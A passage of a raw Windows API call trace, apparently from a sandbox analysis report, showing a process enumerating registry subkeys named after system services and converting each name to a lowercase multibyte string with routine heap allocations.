RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0246.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0246.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0246.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0246.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.388] WideCharToMultiByte (in: 